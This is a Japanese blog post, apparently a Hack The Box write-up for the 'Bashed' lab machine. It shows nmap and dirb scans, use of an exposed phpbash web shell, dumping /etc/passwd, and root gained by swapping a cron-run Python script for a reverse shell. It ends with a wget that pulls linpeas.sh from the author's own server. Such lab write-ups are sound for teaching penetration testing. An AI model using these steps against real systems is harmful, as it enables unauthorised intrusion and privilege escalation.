0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

HTB Machine チャレンジ日記①

Last updated at Posted at 2020-11-14
HTB Machine チャレンジ① Bashed

とりまnmap

$ nmap 10.10.10.68

Starting Nmap 7.60 ( https://nmap.org ) at 2020-11-13 00:01 JST
Nmap scan report for 10.10.10.68
Host is up (0.080s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

簡易スキャンでは80ポートのみ発見
とりあえずこれを信じてhttpアクセスすると画面がでた
(画面スクショ忘れた)

とりまdirb

$ dirb http://10.10.10.68/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Nov 13 00:03:09 2020
URL_BASE: http://10.10.10.68/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.68/ ----
==> DIRECTORY: http://10.10.10.68/css/                                         
==> DIRECTORY: http://10.10.10.68/dev/                                         
==> DIRECTORY: http://10.10.10.68/fonts/                                       
==> DIRECTORY: http://10.10.10.68/images/                                      
+ http://10.10.10.68/index.html (CODE:200|SIZE:7743)                           
==> DIRECTORY: http://10.10.10.68/js/                                          
==> DIRECTORY: http://10.10.10.68/php/                                         
+ http://10.10.10.68/server-status (CODE:403|SIZE:299)                         
==> DIRECTORY: http://10.10.10.68/uploads/                                     
                                                                               
---- Entering directory: http://10.10.10.68/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://10.10.10.68/dev/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://10.10.10.68/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://10.10.10.68/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://10.10.10.68/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://10.10.10.68/php/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://10.10.10.68/uploads/ ----
+ http://10.10.10.68/uploads/index.html (CODE:200|SIZE:14)                     
                                                                               
-----------------
END_TIME: Fri Nov 13 00:14:35 2020
DOWNLOADED: 9224 - FOUND: 3

/devにアクセスすると下記画面がでる
スクリーンショット 2020-11-14 170916.png

/dev/phpbash.phpにはコマンドがうてる奴がある
スクリーンショット 2020-11-14 170841.png

ホーム画面から飛べるページによるとWeb-shellらしい。
ncがあったのでリバースシェル取ろうとするがダメだった。

ここで完全に行き詰まったのでネタバレwriteupを探すとこちらを発見。

なるべく薄目で見た。

リバースシェルを取得後(接続先にも迷ったが、自機に繋いでくれる仕様だった)、とりあえずfindでuser.txtを探す。

$ find / -name user.txt 
find: '/root': Permission denied
(中略)
find: '/tmp/vmware-root': Permission denied
/home/arrexel/user.txt
$ cat /home.arrexel/user.txt
cat: /home.arrexel/user.txt: No such file or directory
$ ls /home/arrexel/user.txt
/home/arrexel/user.txt
$ cat /home/arrexel/user.txt
2c281f318555dbc1b856957c7147bfc1
$ 

ユーザーを確認

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash
$ 

arrexelとscriptmanagerが怪しい気がした。
一応daemonのなかに使えそうなのがないか探す。

$ systemctl list-unit-files	
UNIT FILE                                  STATE   
proc-sys-fs-binfmt_misc.automount          static  
dev-hugepages.mount                        static  
(中略)
cron.service                               enabled
(中略)
231 unit files listed.

cronが動いてることは確認。

rootディレクトリにscriptmanagerが所有者のディレクトリ/scriptsを発見したのでそちらにアクセス。

ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017 test.py
-rw-r--r-- 1 root          root          12 Nov 13 10:31 test.txt

python test.pyを打ってもPermission deniedされる。
cron実行はおそらくこいつと判断

test.pyをリバースシェル取った時のスクリプトに置き換える。
繋がらなかった。python -cごとコピペしていたせいだった。
書き直すとシェルが取れたのでそのままfind実行。

$ nc -nlvp 4434
Listening on [0.0.0.0] (family 0, port 4434)
Connection from 10.10.10.68 57536 received!
/bin/sh: 0: can't access tty; job control turned off
# ls
test.py
test.txt
# whoami
root
# find / -name root.txt
/root/root.txt
# cat /root/root.txt
cc4f0afe3a1026d402ba10329674a8e2
# 

課題

リバースシェルを一から書くわけにもいかないのでインターネットから探すしかないが、
いいリバースシェルの見分け方がわからない。
ググり力が足りてないのか?

対策

ググり力強化

補足

wget InjectionでLinux enumiratorを入れることもできた。

ファイル配置用Webサーバーのdocker-compose.yml
services:
  nginx:
    build:
      context: ./file
    volumes:
      - ./doc/:/usr/share/nginx/html
    ports:
      - "8080:80"

使ったツールはこちらのもの。

wget http://10.10.14.37:8080/linpeas.shを実行すれば取得できる。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?